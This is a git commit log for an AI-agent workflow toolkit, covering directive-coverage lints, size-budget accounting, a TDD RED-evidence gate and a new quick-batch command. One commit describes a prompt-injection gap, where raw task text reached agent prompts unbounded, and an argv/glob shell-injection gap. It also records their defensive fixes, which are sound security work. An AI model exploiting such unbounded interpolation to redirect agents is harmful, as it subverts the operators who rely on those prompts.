Emitted-Drift-Ack-Growth: import.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 18: this PR declared the path in its own fragment, and `3576-references-canonical-cites.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `3576-references-canonical-cites.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: inbox.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: ingest-docs.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed from `2658-trae-instruction-file-path.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: insert-phase.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: list-phase-assumptions.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: list-seeds.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: list-workspaces.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 …

* fix(#2529): read the catalog-relative dispatch spelling, and the plural of "output"

Two false positives in the coverage lint, both surfaced by this round's work
rather than by a red gate finding them for us.

#3552 landed `execute-phase/steps/protected-branch.md` on next while this PR was
open, dispatched from execute-phase.md's `"none"` arm with the path written
RELATIVE to the catalog. `namesFragmentAsEntryPoint` only ever looked for the
`gsd-core/workflows/`-rooted spelling, so it read a live dispatch as no dispatch
and the new fragment as uncovered. It now accepts both spellings and matches the
relative one on a path boundary, so `vendor/<path>` cannot vouch for `<path>`.

Recognizing that spelling makes one pin redundant: execute-phase.md dispatches
executor-isolation-dispatch.md the same way, so the fragment inherits and its
own copy of the sentence comes back out. That is the rule round 29 encoded,
enforced by the test that measures it rather than by hand.

`output` was the one term in USER_OUTPUT_RE without an `s?`, so "translate all
outputs, including narration between tool calls" read as uncovered. The new
property tests caught it on their first run.

Those properties pin the rule the hand-written cases are instances of: four
signals on ONE line accept, dropping any one rejects, spreading them across
lines rejects. The vocabulary is written out in the test rather than read back
from the script's regexes, per CONTRIBUTING.md "Fixture provenance (#2371)" -- a
generator seeded from the matcher can only re-derive what the matcher already
believes, and that independence is what caught the plural. Both new properties
are mutation-verified: dropping the narration predicate reds the necessity
property, and collapsing the document to a single line reds the cross-line one.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* enhance(#2529): spell the narration enumeration out in the last two shorthand directives

discuss-phase.md and plan-phase.md were the only two of this PR's 44
rewordings that abbreviated the inserted clause to "narration between tool
calls included" instead of naming the output classes the way the rest of them
do. Both forms satisfy the lint's four predicates, so nothing was broken --
but the point of #2529 is that an author reading one workflow should not have
to infer what the neighbouring one means by "included".

Both abbreviations were size decisions rather than wording ones, and both
reasons have since expired because next shrank the files. discuss-phase.md
sat 25 bytes under the 32,000-byte #717 dispatcher budget and now has 1,825;
plan-phase.md sat 87 bytes under the 94,519-byte ADR-857 capstone ratchet
against a +108 clause and now has 3,180. Neither budget is raised here and no
unrelated prose is trimmed; workflow-size-budget and
phase6-capstone-conformance both pass.

discuss-phase.md started from the identical upstream sentence as verify-work.md
and new-milestone.md ("All user-facing questions, prompts, and explanations in
this workflow"), and those two received the full enumeration; it now matches
them exactly. plan-phase.md keeps its own scope word ("orchestrator output") and
its subagent pass-through instruction, both upstream's, and only trades the
shorthand for the enumeration.

The shorthand now appears nowhere in the catalog. The two remaining variants
(plan-review-convergence.md, spec-phase.md) keep upstream's own verb and scope
and end on "report prose", which is what those workflows actually emit --
rewriting those would change a directive's strength, not its wording.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2529): match the workflow extension case-insensitively in coverage discovery

`findMarkdownFilesRecursive` filtered on `entry.name.endsWith('.md')`, so
`SETTINGS.MD` — the same file to Windows and macOS, a different one to Linux —
was skipped on the only platform whose verdict gates the merge. The direction of
that failure is the problem: a workflow the walk declines to see is a workflow
this lint certifies by omission, which is the same vacuous pass `main()` already
refuses when discovery returns nothing at all.

The filter is now an allowlist keyed on the lowercased `path.extname`.
`.mdx` stays out on purpose: admitting an extension states what a workflow IS,
and that claim has a second half — `inheritsParentCoverage` resolves a
fragment's parent as `<workflow>.md`. An `.mdx` entry belongs here next to the
parent resolution it would have to move with, not ahead of it.

Two tests: an uppercase-extension file is discovered AND lands as a violation
rather than an exemption, and every admitted extension is spelled so the
lowercasing match can reach it (an uppercase or dotless entry would be dead
configuration that reads like coverage).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* enhance(#2529): cover the quick-batch workflow that #3676 landed uncovered

`next` gained `quick-batch.md` and nine step fragments in 2f64e6230 (#3676,
PR #4212) with no response-language directive, so the merge result reds this
PR's own lint with 10 violations. The lint is doing exactly what it exists to
do; the coverage is what has to move.

`quick-batch.md` takes the shared @-reference on line 1, the same as the other
42 top-level workflows, and eight of the nine fragments then inherit through
its `read and execute` stubs. The ninth does not:
`quick-batch/steps/plan-checker-loop.md` is dispatched by a SIBLING fragment
(`planner-wave.md:134`) and named in the parent only inside a parenthetical
with no dispatch verb, which is the shape round 29's rule already covers for
`execute-phase/steps/regression-gate-run.md` and
`plan-phase/steps/prd-express-path.md`. It carries the pinned inline directive
and joins `EXACT_INLINE_DIRECTIVE_WORKFLOWS`; the comment above that set now
names four such fragments instead of three. Coverage: 163 workflows.

`FULL_BUDGET` in tests/skill-frontmatter-contract.test.cjs moves 844 -> 846.
The same commit grew `help/modes/full.md` from 834 to 844 lines, landing it
exactly on the ceiling with zero slack, and the two lines this PR adds there
are its pinned directive and the blank separating it. That is a coverage
contract every workflow carries, not the content creep the budget guards.
The #597 ratchet rule holds: actualMax 846, slack 0, well inside LARGE_GRACE.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Emitted-Drift-Ack-Growth: quick-batch.md — #2529: the workflow arrived on `next` in 2f64e6230 (#3676, PR #4212) with no response-language directive, so this PR's lint reds on the merge result; covering it is the PR's whole contract, not an optional extra. It gains the shared directive as a single eager `@`-reference line, the identical form the other 42 top-level workflows take. FILE delta: +62 bytes, as the gate measures it. LOADED-CONTEXT delta: +1,691 bytes — the import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates read the FILE and not the transitive inline, so they see 62 of those 1,691 bytes; the remaining 1,629 are declared here because no gate reads them. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Nine `quick-batch/steps/*` fragments are covered without a byte of their own — eight inherit through the parent's dispatch stubs, and the ninth takes the pinned inline sentence, which the emitted surface does not measure.

* fix(#2529): scope row 48 by what a diff says, not by which paths it names

`tests/gsd-quick-batch-quick-regression.test.cjs` treats any branch touching a
`quick-batch` path as #3676 phase work, then forbids it from editing ordinary
`quick.md`. This PR covers EVERY workflow with the shared response-language
directive — quick-batch.md and its fragments included — so the scope check
turned true, and the row read this PR's one-line directive on `quick.md` as a
phase violation.

That is the false positive the row's own #3730 note already scoped away from,
arriving by the other door: not an unrelated branch that misses the surface,
but a catalog-wide sweep that touches all of it. A path now counts as phase
work only when its diff says something other than the coverage contract, and
the two accepted directive forms are read from
`scripts/lint-response-language-coverage.cjs` rather than restated, so a
reworded contract cannot leave the carve-out matching prose the lint no longer
recognizes. A file the branch ADDED still counts — every line is new, which is
what a real #3676-phase branch looks like.

The invariant is unweakened in the direction that matters: a phase branch that
edits `commands/gsd/quick.md`, `gsd-core/workflows/quick.md` or anything under
`quick/steps/` for any reason other than the directive still fails the row.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-04 21:12:12 -04:00
Tom Boucher
8249ebcf6e fix(#3770): require intentional RED evidence before GREEN (#4279)
* test(3770): add failing tests for intentional RED evidence gate

RED: classifyRedEvidence / buildRedEvidenceRecord / check tdd-red-evidence do
not exist yet; every row fails on require. Per #3770 only an intentional
target-test failure may authorize GREEN; zero-test discovery, fixture crashes,
unrelated failures, and unexpected green are INVALID_RED.

* fix(3770): require intentional RED evidence before GREEN

Only an intentional failure of the TARGET test (distinctly named, TAP-reported
assertion failure) classifies as RED_EVIDENCE_OK and authorizes GREEN. Zero-test
discovery, fixture/load crashes (file-named failures), nonzero exits without a
failing test, unrelated failures, unexpected greens, and malformed/missing
records are INVALID_RED and block GREEN.

- src/tdd-red-evidence.cts: pure classifier + persisted record builder (reuses
  the prohibition-enforcement TAP primitives; fail-closed, never throws)
- check tdd-red-evidence <record.json>: validates the persisted record
  (command, exit code, failing test, expected, actual)
- gsd-executor.md / references/tdd.md / references/execute-mvp-tdd.md: RED now
  requires the evidence record + gate verdict, not a nonzero exit or a RED: tag

* chore(3770): regenerate inventory manifest for tdd-red-evidence.cjs

* fix(3770): fit executor fail-fast under size cap, fix unrelated-failure fixture, ignore generated lib

- gsd-executor.md: compress the #3770 fail-fast rule to one line (49149 B <
  49152 cap; line-count parity keeps the #2751 PROSE_ALLOWLIST line 816 valid)
- tests: the row-6 fixture used String.replace (first-occurrence), so the
  `not ok` line still named the target test and the classifier was right to
  accept it; replaceAll makes the failure genuinely unrelated
- eslint.config.mjs: ignore tsc-generated bin/lib/tdd-red-evidence.cjs
  (lint the src/*.cts source, per ADR-457 migration rule)

Emitted-Drift-Ack-Growth: gsd-executor.md — the #3770 fail-fast rule now requires intentional RED evidence (check tdd-red-evidence) before GREEN; +172 bytes, kept under the LARGE cap and on one line

* chore(3770): add changeset

* chore(3770): backfill PR number in changeset

---------

Co-authored-by: sim <sim@local>
2026-09-04 16:44:38 -04:00
Tom Boucher
2f64e6230a feat(#3676): quick-batch command, workflow, and isolation integration (#4212)
* test(#3676): add failing tests for quick-batch dispatch core

Failing-first tests for Phase 4 of epic #3344 (ADR-1239 "Quick-batch
binding"): quick-batch-dispatch.test.cjs / .property.test.cjs cover the
new pure decision-logic module (arg validation, effective concurrency,
deterministic merge order, spawn backpressure, verification/merge
routing, cleanup-entry construction — design doc rows 3-15,24,26-28,
30-36,39; property rows 51-53). quick-batch-update-items.test.cjs
covers the new updateBatchItems export on src/quick-batch.cts (rows
15,22-23, including the negative cycle-rejection case).
quick-batch-command-router.test.cjs covers the new
gsd-tools quick-batch CLI family (rows 46-47). These reference modules/
exports that do not exist yet.

* feat(#3676): implement quick-batch dispatch core, updateBatchItems, and command router

Phase 4 of epic #3344 (ADR-1239 "Quick-batch binding") CORE decision
layer — CLI verbs and pure orchestration logic only; no workflow
markdown, no Agent()/git-worktree I/O.

- src/quick-batch-dispatch.cts (new): pure decision functions consumed
  by the (separate, follow-up) /gsd:quick-batch workflow markdown —
  parseQuickBatchArgs, computeEffectiveConcurrency, computeMergeOrder,
  computeSpawnPlan, routeVerificationOutcome, routeMergeOutcome,
  buildCleanupManifestEntry (the last parses caller-supplied plan text
  via the existing parsePlanDocument; no filesystem access).

- src/quick-batch.cts: adds updateBatchItems, resolving the design
  doc's Open Question 1 as ONE additive export on this module instead
  of the second, independent BATCH.json writer the design doc
  originally proposed. Reuses the same withPlanningLock transaction
  shape, computeWaves, and platformWriteSync call resumeBatch/
  completeQuickItem already use; fails closed without persisting on
  an unknown item, an unknown/self dependency, or an introduced cycle.

- src/quick-batch-command-router.cts (new): gsd-tools quick-batch CLI
  family, wired into HOST_COMMAND_ROUTERS (gsd-core/bin/gsd-tools.cjs)
  as a first-party always-on command (like /gsd:quick), not the opt-in
  capability-registry path graphify uses. Verbs: create/update/resume/
  complete (wrap quick-batch.cts) and effective-concurrency/
  merge-eligible/spawn-plan/verification-routing/merge-routing/
  cleanup-entry/parse-args (wrap quick-batch-dispatch.cts).

Design doc rows covered: 3-15, 22-24, 26-28, 30-39, 46-47. Property
rows 51-53. Rows covering workflow markdown / Agent() dispatch /
`git worktree` behavior (16-21, 25, 29, 40-45, 48-50) remain for the
follow-up markdown-authoring pass, per the phase brief's explicit
scope boundary.

* docs(#3676): register quick-batch-dispatch/command-router modules in bookkeeping surfaces

New-.cts-module ripple for the two Phase 4 modules (epic #3344,
ADR-1239 "Quick-batch binding"): .gitignore (compiled .cjs artifacts,
ADR-457 build-at-publish), eslint.config.mjs (lint the .cts source,
not the emitted .cjs), docs/INVENTORY.md + docs/INVENTORY-MANIFEST.json
(via `node scripts/gen-inventory-manifest.cjs --write`, after
`npm run build:lib`), and CONTEXT.md glossary entries for
"Quick-Batch Dispatch Core Module" and "Quick-Batch Command Router
Module", plus an update to the existing "Quick-Batch Core Primitives
Module" entry documenting the new updateBatchItems export.

* test(#3676): fold updateBatchItems tests into quick-batch.test.cjs (fix lint-test-file-count)

scripts/lint-test-file-count.cjs buckets any quick-batch-*.test.cjs
file under the quick-batch production module by longest-prefix match,
and that module is already at its 2-file cap (quick-batch.test.cjs +
quick-batch.property.test.cjs). The standalone
tests/quick-batch-update-items.test.cjs added in the prior commit
pushed it to 3 and failed `npm run lint:ci`. Fold its content into
quick-batch.test.cjs (append-only — no existing test in that file is
modified) and update the CONTEXT.md glossary reference to match.

Surfaced while re-running `GITHUB_BASE_REF=next npm run lint:ci` after
`npm ci` (this worktree previously had no local node_modules, which
also made gen-scripts-cli-exit/gen-hooks-cli-exit/gen-exit-code-*
unable to resolve typescript — resolved by npm ci, no code change
needed there). `npm run lint:ci` and
`npx tsc -p tsconfig.build.json --noEmit` are both green after this
fix.

* test(#3676): add failing tests for the quick-batch command/workflow markdown

Failing-first tests for Phase 4's markdown-authoring pass (epic #3344,
ADR-1239 "Quick-batch binding"): gsd-quick-batch-workflow.test.cjs
covers commands/gsd/quick-batch.md's frontmatter/objective/process,
gsd-core/workflows/quick-batch.md's byte-size boundary (row 49, ADR
1610 NEW_FILE_CAP) and step-fragment count, the isolation model
(rows 20-22), the executor single-writer invariant (row 18), merge
validation reusing the existing bounded primitive (row 25), the
optional research/plan-checker/verification leaves (rows 16,17,19,
30,31), planning-failure blocking execution (row 29), the submodule
guard (rows 36,44), and the new agents/gsd-planner.md quick-batch
mode (rows 13-15). gsd-quick-batch-quick-regression.test.cjs covers
row 48 (ordinary /gsd:quick stays byte-identical). Named
`gsd-quick-batch-*` (not `quick-batch-*`) so lint-test-file-count's
longest-prefix bucketing doesn't fold these markdown-only tests into
the already-capped quick-batch/quick-batch-dispatch/
quick-batch-command-router production-module buckets from the CORE
pass. These reference files that do not exist yet.

* feat(#3676): author the quick-batch command, workflow, and planner mode

Phase 4 markdown-authoring pass (epic #3344, ADR-1239 "Quick-batch
binding") — the orchestration layer that calls into Pass 1's CLI
verbs (src/quick-batch-command-router.cts).

- commands/gsd/quick-batch.md (new): frontmatter/objective/process,
  delegates argument validation to `quick-batch parse-args`
  (parseQuickBatchArgs) rather than re-deriving the grammar.

- gsd-core/workflows/quick-batch.md (new, 11843 bytes — under ADR
  1610's 32768-byte NEW_FILE_CAP for a brand-new file) + 9 lazy-loaded
  step fragments under gsd-core/workflows/quick-batch/steps/:
  resume-mode, batch-init, research-phase (flag:--research),
  planner-wave (+ nested plan-checker-loop when --validate),
  worktree-dispatch, merge-wave, verification-wave (flag:--validate),
  completion. Covers design doc rows 3-45: capacity/isolation
  resolution (reusing dispatch-isolation-gate.md verbatim), per-DAG-
  layer planning with full-task-catalog prompts and always-required
  depends_on/files_modified frontmatter, serialized worktree create/
  merge/cleanup via the existing worktree.cleanup-wave primitive,
  deterministic wave-order merging, verification routing
  (human_needed/gaps_found), the executor single-writer invariant,
  submodule fail-loud guard, and #1941 fork-base auto-degrade.

- agents/gsd-planner.md: additive new `load_mode_context` bullet for
  `**Mode:** quick-batch`, pointing at the new
  gsd-core/references/planner-quick-batch.md reference (documents the
  always-required depends_on/files_modified contract, reusing the
  existing frontmatter grammar — no new keys). Existing modes
  byte-identical, only a new bullet added.

- src/init.cts (+init-command-router.cts, +command-aliases.cts):
  cmdInitQuickBatch / `init.quick-batch` — model profiles,
  commit_docs, roadmap/planning existence checks, and the
  section_manifest field gating research-phase/verification-wave
  (reuses the existing flag:--research/flag:--validate WHEN_VOCABULARY
  atoms — no new atom needed).

Rows 16-21, 25, 29, 36, 38, 39, 44, 46-50 covered structurally by the
prior test(#3676) commit; rows 3-15, 22-24, 26-28, 30-35, 37, 40-43,
45 covered by construction (verb wiring, single-writer prompt
constraints, crash-window resume via unmodified Phase 3 primitives).

* docs(#3676): regenerate skills/inventory/section-manifest/install-tree; baseline the intentional word-splitting pattern

npm run regen:derived output for the new command/workflow/reference
(epic #3344, ADR-1239 "Quick-batch binding"):
- skills/gsd-quick-batch/SKILL.md (generated from commands/gsd/quick-batch.md)
- docs/INVENTORY.md rows for /gsd-quick-batch, quick-batch.md,
  planner-quick-batch.md, and the quick-batch-dispatch.cjs/
  quick-batch-command-router.cjs CLI-module rows' now-live
  `/gsd-quick-batch` cross-reference (was "(separate, follow-up)")
  + docs/INVENTORY-MANIFEST.json (`node scripts/gen-inventory-manifest.cjs --write`)
- gsd-core/workflows/section-manifest.json (`npm run gen:section-manifest`)
  — research-phase/verification-wave gsd:section entries for the new
  quick-batch workflow
- tests/fixtures/install-tree/*.json (`npm run gen:install-tree`) —
  the new command/workflow/skill/reference files now ship to every
  runtime

scripts/lint-workflow-shellcheck-baseline.json: 3 new entries for
gsd-core/workflows/quick-batch.md's intentional flag-token/$ARGUMENTS
word-splitting (SC2046/SC2086) — the same deliberate unquoted-optional-
flag pattern gsd-core/workflows/quick.md already carries baselined
(e.g. `$DISCUSS_PARAM $RESEARCH_PARAM` in quick.md's own Step 2);
quoting would break the intended "omit this arg when the flag is
false" splitting.

* fix(#3676): close prompt-injection and argv/glob-injection gaps in quick-batch leaf dispatch

Security review pass findings, both confirmed real:

1. HIGH — prompt injection, no boundaries. Every leaf-dispatch fragment
   interpolated the raw, attacker-influenced task ${description} (and
   the shared ${TASK_CATALOG_TABLE}, broadcasting every item's raw
   description into every planner's prompt in the layer) straight into
   Agent() prompt bodies with no boundary. Fixed by wrapping every such
   interpolation in a <security_context> + DATA_START/DATA_END
   boundary, matching the CONCRETE convention already implemented in
   this repo (agents/gsd-debug-session-manager.md, agents/gsd-debugger.md,
   gsd-core/workflows/debug.md) — commands/gsd/quick.md's own
   <security_notes> only asserts this convention in prose, so the
   debug-agent files are the real precedent followed here. Added a new
   <security_notes> block to commands/gsd/quick-batch.md (it had none)
   documenting both this fix and the one below.

2. MEDIUM — unquoted $ARGUMENTS -> argv/glob injection.
   gsd-core/workflows/quick-batch.md and commands/gsd/quick-batch.md both
   ran `gsd_run quick-batch parse-args --raw -- $ARGUMENTS` UNQUOTED,
   causing shell word-splitting and pathname expansion on raw task-list
   text before the parser ever saw it. Fixed at the source: added a
   `--text <string>` form to the `parse-args` verb
   (src/quick-batch-command-router.cts) that accepts the ENTIRE
   $ARGUMENTS as ONE quoted argv element and does the whitespace split
   itself, in Node — which is never glob-aware, unlike the shell.
   Both call sites now use `--text "$ARGUMENTS"`. The `-- <tokens>` form
   is kept for direct/test callers that already have a real argv array.

The SC2086 baseline entry added for the original unquoted line is now
stale (`node scripts/lint-workflow-shellcheck.cjs` no longer reports
it) and has been removed; the two SC2046 entries for the UNRELATED,
still-unquoted `$([ "$VALIDATE_MODE" = true ] && echo --validate)`-style
conditional-flag splitting remain — that line only ever expands to one
of a few known-safe literal strings (never raw user text), matching
quick.md's own already-baselined convention exactly.

Tests: quick-batch-command-router.test.cjs covers the new --text form
(token splitting, glob-shaped text passing through literally
unexpanded, whitespace-only input). gsd-quick-batch-workflow.test.cjs
asserts the DATA_START/DATA_END boundary on every leaf prompt
(research-phase/planner-wave/plan-checker-loop/verification-wave,
including the shared task catalog) and the quoted --text call sites.

* fix(#3676): strengthen test-depth gaps in rows 9, 18, 24, 34, 35

Spec review pass findings — the test matrix claimed "yes" coverage
these assertions did not actually support:

- Row 9 (--jobs 0/-1/abc hostile case): previously asserted rejection
  only. Added an end-to-end assertion (tests/quick-batch-command-router.test.cjs,
  committed alongside the security fix that touches the same file) that
  .planning/quick-batches/ is never created for any rejected value —
  createBatch is genuinely never reached.
- Row 18 (--resume <unknown-batch-id>): previously only exercised a
  hand-corrupted BATCH.json, never a genuinely nonexistent batch
  directory. Added the real nonexistent-id case (also in
  quick-batch-command-router.test.cjs).
- Row 24 (post-planning updateBatchItems racing a concurrent
  completeQuickItem for a different item, both through
  withPlanningLock): zero test existed. Added a property test
  (tests/quick-batch.property.test.cjs, appended — Phase 3's own file,
  no existing test touched) exercising both call orders and asserting
  no lost update in the final on-disk manifest — the same technique
  Phase 3's own row-15 lock-contention property test uses (sequential
  calls through the real lock; a working mutex makes any interleaving
  equivalent to some serial order, so this is the same claim a literal
  concurrent-thread test would make without OS-level threading).
- Row 34 (worktree preserved on merge_failed) and row 35 (undeclared-
  deletion detection): both were previously asserted only at the pure
  routeMergeOutcome level. Added tests/gsd-quick-batch-merge-integration.test.cjs
  using the SAME real-git-fixture pattern tests/worktree-safety.test.cjs
  already establishes for executeWorktreeWaveCleanupPlan (real repo,
  real worktree, a REAL merge conflict / a REAL file deletion diffed
  against declared_deletions) — asserting the actual worktree directory
  survives on disk, not just that a pure function returns a
  preserveWorktree:true field. Named gsd-quick-batch-* so lint-test-
  file-count's bucketing doesn't fold it into any capped module bucket.

Row 48 (/gsd:quick regression) intentionally left as-is per the
reviewer's own framing: the byte-identity claim is already
mechanically proven by the changed-path diff (git diff --name-only
empty on those two paths IS byte-identity), and a genuine execution-
level regression test would require actually running the workflow —
out of scope for this repo's unit-test model (no other quick.md
regression test in this repo does that either).

* docs(#3676): add the changeset and user-facing docs the command needed

Standards review pass findings — both HARD:

- Missing changeset. None of the 6 prior #3676 commits touched
  .changeset/*. /gsd-quick-batch is a new user-facing command;
  CLAUDE.md/CONTRIBUTING.md require one. Added
  .changeset/silly-rams-caper.md (type: Added, pr: 0 placeholder —
  backfilled after the PR opens, matching CLAUDE.md's own documented
  convention and Phase 3's own precedent, #4190's
  .changeset/mellow-yaks-squeak.md). Uses the docs-convention hyphen
  form `/gsd-quick-batch` throughout, never the source-artifact colon
  form (`scripts/lint-docs-command-form.cjs` confirms 0 violations;
  that check scans docs/**, not .changeset/, so it was never actually
  in scope for the fragment itself, but the wording still follows the
  doc convention for consistency, matching how Phase 3's own fragment
  named the not-yet-shipped command).
- Missing docs. Added docs/how-to/batch-quick-tasks.md (Diátaxis
  how-to, matching docs/how-to/handle-quick-and-fast-tasks.md's
  existing convention for /gsd-quick /gsd-fast) covering --jobs,
  --validate, --research, --resume, --file, the capacity/isolation
  interaction, and resume/failure recovery. Cross-linked from
  docs/README.md's how-to index and from handle-quick-and-fast-tasks.md's
  own "Related" section. Added a /gsd-quick-batch section to
  docs/COMMANDS.md (same table format as the existing /gsd-quick
  entry) and docs/features/quick-batch.md (REQ-QB-01..12, same
  frontmatter shape as docs/features/quick-mode.md) — regenerated
  docs/FEATURES.md (179 features) and skills/gsd-quick-batch/SKILL.md
  via the standard generators.

* fix(#3676): close docs-parity, attribution, and generated-registry gaps gsd-test caught

gsd-test's real run against 155e8975b3 found 43 failures, all rooted in
this phase's own new command/workflow never being registered across
~10 independent generated/hand-maintained registries this repo keeps
